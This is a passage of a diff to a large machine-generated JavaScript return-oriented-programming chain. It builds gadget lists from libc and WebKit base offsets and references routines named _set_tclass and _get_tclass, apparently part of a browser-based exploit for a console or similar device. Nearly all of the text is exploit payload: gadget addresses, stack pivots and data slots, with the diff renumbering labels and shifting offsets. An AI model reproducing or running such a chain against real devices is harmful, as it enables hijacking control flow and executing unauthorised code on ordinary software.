//mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+230640, //L3772 +ropchain+229544, //L3738 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+230656, //L3773 +ropchain+229528, //L3739 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3772: +//L3739: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3773: +//L3738: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3774: +//L3740: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3775: +//L3741: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+230760, //L3776 +ropchain+229648, //L3742 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+230776, //L3777 +ropchain+229664, //L3743 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3776: +//L3742: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3777: +//L3743: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+230872, //L3779 +ropchain+229760, //L3745 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+230856, //L3778 +ropchain+229744, //L3744 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3778: +//L3744: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3779: +//L3745: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -28010,8 +27835,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L3781: -ropchain+230976, //L3780 +//L3747: +ropchain+229864, //L3746 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -28019,87 +27844,87 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+186040, //_set_tclass -//L3780: +ropchain+185576, //_set_tclass +//L3746: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -//L3782: +//L3748: libc_base+793877, //pop rsi -ropchain+231064, //L3785 +ropchain+229936, //L3749 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3783: -db([4294966268, 4294967295]); // -0x404 -set_gadget(libc_base+792472,); //pop rcx -//L3785: +//L3749: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3750: +db([4294966268, 4294967295]); // -0x404 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+231168, //L3788 +ropchain+230056, //L3754 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+231152, //L3787 +ropchain+230040, //L3752 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3787: +//L3752: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3788: +//L3754: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+231336, //L3791 +ropchain+230224, //L3757 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+231352, //L3792 +ropchain+230240, //L3758 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+231304, //L3789 +ropchain+230208, //L3755 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+231320, //L3790 +ropchain+230192, //L3756 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3789: +//L3756: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3790: +//L3755: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3791: +//L3757: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3792: +//L3758: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+231448, //L3794 +ropchain+230336, //L3760 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+231432, //L3793 +ropchain+230320, //L3759 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3793: +//L3759: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3794: +//L3760: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -28107,38 +27932,38 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+231536, //L3796 +ropchain+230424, //L3762 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L3795: +//L3761: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L3796: +//L3762: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+231608, //L3799 +ropchain+230480, //L3763 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3797: -db([4294966268, 4294967295]); // -0x404 -set_gadget(libc_base+792472,); //pop rcx -//L3799: +//L3763: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3764: +db([4294966268, 4294967295]); // -0x404 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+231672, //L3800 +ropchain+230560, //L3766 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3800: +//L3766: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -28148,122 +27973,122 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+811575, //pop rsp -ropchain+227568, //L3694 -//L3727: +ropchain+226456, //L3660 +//L3693: libc_base+793877, //pop rsi -ropchain+231784, //L3804 +ropchain+230656, //L3768 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3802: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L3804: +//L3768: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3769: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+231888, //L3807 +ropchain+230776, //L3773 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+231872, //L3806 +ropchain+230760, //L3771 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3806: +//L3771: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3807: +//L3773: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+232008, //L3809 +ropchain+230880, //L3774 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+232040, //L3811 +ropchain+230928, //L3777 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+232024, //L3810 +ropchain+230912, //L3776 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3808: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L3809: +//L3774: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3775: +db([12, 0]); // 0xc set_gadget(libc_base+206806,); //pop rdi -//L3810: +//L3776: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3811: +//L3777: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+232144, //L3814 +ropchain+231032, //L3780 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+232128, //L3813 +ropchain+231016, //L3778 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3813: +//L3778: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3814: +//L3780: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+232312, //L3817 +ropchain+231200, //L3783 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+232328, //L3818 +ropchain+231216, //L3784 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+232280, //L3815 +ropchain+231184, //L3781 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+232296, //L3816 +ropchain+231168, //L3782 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3815: +//L3782: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3816: +//L3781: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3817: +//L3783: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3818: +//L3784: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+232424, //L3820 +ropchain+231312, //L3786 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+232408, //L3819 +ropchain+231296, //L3785 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3819: +//L3785: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3820: +//L3786: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -28271,8 +28096,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L3822: -ropchain+232528, //L3821 +//L3788: +ropchain+231416, //L3787 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -28280,8 +28105,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+172888, //_get_tclass -//L3821: +ropchain+172424, //_get_tclass +//L3787: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -28289,40 +28114,40 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+232664, //L3824 +ropchain+231552, //L3790 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+232680, //L3825 +ropchain+231568, //L3791 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+232648, //L3823 +ropchain+231536, //L3789 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3823: +//L3789: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3824: +//L3790: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3825: +//L3791: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+232776, //L3827 +ropchain+231664, //L3793 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+232760, //L3826 +ropchain+231648, //L3792 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3826: +//L3792: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3827: +//L3793: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -28331,39 +28156,39 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+232856, //L3829 +ropchain+231744, //L3794 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3829: +//L3794: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3828: +//L3795: db([65, 0]); // 0x41 set_gadget(libc_base+206806,); //pop rdi -//L3830: +//L3796: db([65, 0]); // 0x41 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+232992, //L3831 +ropchain+231880, //L3797 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+233024, //L3833 +ropchain+231912, //L3799 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+233008, //L3832 +ropchain+231896, //L3798 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3831: +//L3797: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3832: +//L3798: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3833: +//L3799: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -28375,191 +28200,191 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+14959219, //cmp rax, rcx ; sete al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+233184, //L3835 +ropchain+232072, //L3801 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+233200, //L3836 +ropchain+232088, //L3802 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+233168, //L3834 +ropchain+232056, //L3800 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3834: +//L3800: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3835: +//L3801: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3836: +//L3802: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+233304, //L3839 +ropchain+232192, //L3805 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+233352, //L3841 +ropchain+232240, //L3807 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+233336, //L3840 +ropchain+232224, //L3806 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3839: +//L3805: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L3838: +//L3804: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3840: +//L3806: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3841: +//L3807: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+233464, //L3842+8 +ropchain+232352, //L3808+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+233456, //L3842 +ropchain+232344, //L3808 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L3842: +//L3808: db([0, 0]); // 0x0 set_gadgets([ -ropchain+233480, //L3842+24 -ropchain+233496, //L3837 +ropchain+232368, //L3808+24 +ropchain+232384, //L3803 libc_base+811575, //pop rsp -ropchain+239016, //L3843 -//L3837: +ropchain+237904, //L3809 +//L3803: libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3844: -db([4294966264, 4294967295]); // -0x408 -set_gadget(libc_base+792472,); //pop rcx -//L3846: +//L3810: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3811: +db([4294966264, 4294967295]); // -0x408 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+233592, //L3848 +ropchain+232480, //L3814 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3847: +//L3813: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3848: +//L3814: db([0, 0]); // 0x0 set_gadgets([ webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+233648, //L3851 +ropchain+232536, //L3816 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3851: +//L3816: db([0, 0]); // 0x0 -//L3849: +//L3815: set_gadgets([ libc_base+793877, //pop rsi -ropchain+233712, //L3854 +ropchain+232584, //L3818 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3852: -db([4294966264, 4294967295]); // -0x408 -set_gadget(libc_base+792472,); //pop rcx -//L3854: +//L3818: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3819: +db([4294966264, 4294967295]); // -0x408 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+233816, //L3857 +ropchain+232704, //L3823 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+233800, //L3856 +ropchain+232688, //L3821 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3856: +//L3821: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3857: +//L3823: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+233984, //L3860 +ropchain+232872, //L3826 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+234000, //L3861 +ropchain+232888, //L3827 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+233952, //L3858 +ropchain+232856, //L3824 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+233968, //L3859 +ropchain+232840, //L3825 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3858: +//L3825: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3859: +//L3824: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3860: +//L3826: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3861: +//L3827: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+234072, //L3862 +ropchain+232960, //L3828 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+234088, //L3863 +ropchain+232976, //L3829 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3862: +//L3828: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3863: +//L3829: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+234184, //L3865 +ropchain+233072, //L3831 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+234168, //L3864 +ropchain+233056, //L3830 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3864: +//L3830: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3865: +//L3831: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -28568,39 +28393,39 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+234264, //L3867 +ropchain+233152, //L3832 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3867: +//L3832: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3866: +//L3833: db([32, 0]); // 0x20 set_gadget(libc_base+206806,); //pop rdi -//L3868: +//L3834: db([32, 0]); // 0x20 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+234400, //L3869 +ropchain+233288, //L3835 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+234432, //L3871 +ropchain+233320, //L3837 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+234416, //L3870 +ropchain+233304, //L3836 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3869: +//L3835: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3870: +//L3836: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3871: +//L3837: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -28613,78 +28438,78 @@ webkit_base+14959219, //cmp rax, rcx ; sete al webkit_base+48555, //setl al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+234600, //L3873 +ropchain+233488, //L3839 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+234616, //L3874 +ropchain+233504, //L3840 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+234584, //L3872 +ropchain+233472, //L3838 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3872: +//L3838: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3873: +//L3839: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3874: +//L3840: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+234720, //L3877 +ropchain+233608, //L3843 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+234768, //L3879 +ropchain+233656, //L3845 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+234752, //L3878 +ropchain+233640, //L3844 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3877: +//L3843: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L3876: +//L3842: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3878: +//L3844: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3879: +//L3845: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+234880, //L3880+8 +ropchain+233768, //L3846+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+234872, //L3880 +ropchain+233760, //L3846 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L3880: +//L3846: db([0, 0]); // 0x0 set_gadgets([ -ropchain+234896, //L3880+24 -ropchain+234912, //L3875 +ropchain+233784, //L3846+24 +ropchain+233800, //L3841 libc_base+811575, //pop rsp -ropchain+234928, //L3881 -//L3875: +ropchain+233816, //L3847 +//L3841: libc_base+811575, //pop rsp -ropchain+238808, //L3882 -//L3881: +ropchain+237696, //L3848 +//L3847: libc_base+788575 //pop rax ]); -//L3883: +//L3849: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -28693,7 +28518,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L3884: +//L3850: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -28702,7 +28527,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L3885: +//L3851: db([25, 0]); // 0x19 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -28711,7 +28536,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L3886: +//L3852: db([41, 0]); // 0x29 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -28719,119 +28544,119 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+235176, //L3889 +ropchain+234048, //L3853 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3887: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L3889: +//L3853: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3854: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+235280, //L3892 +ropchain+234168, //L3858 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+235264, //L3891 +ropchain+234152, //L3856 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3891: +//L3856: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3892: +//L3858: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+235400, //L3894 +ropchain+234272, //L3859 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+235432, //L3896 +ropchain+234320, //L3862 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+235416, //L3895 +ropchain+234304, //L3861 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3893: -db([24, 0]); // 0x18 -set_gadget(libc_base+792472,); //pop rcx -//L3894: +//L3859: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3860: +db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi -//L3895: +//L3861: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3896: +//L3862: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+235536, //L3899 +ropchain+234424, //L3865 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+235520, //L3898 +ropchain+234408, //L3863 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3898: +//L3863: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3899: +//L3865: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+235680, //L3902 +ropchain+234568, //L3868 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+235648, //L3900 +ropchain+234536, //L3866 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+235664, //L3901 +ropchain+234552, //L3867 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3900: +//L3866: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3901: +//L3867: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3902: +//L3868: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+235752, //L3903 +ropchain+234640, //L3869 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3903: +//L3869: db([0, 0]); // 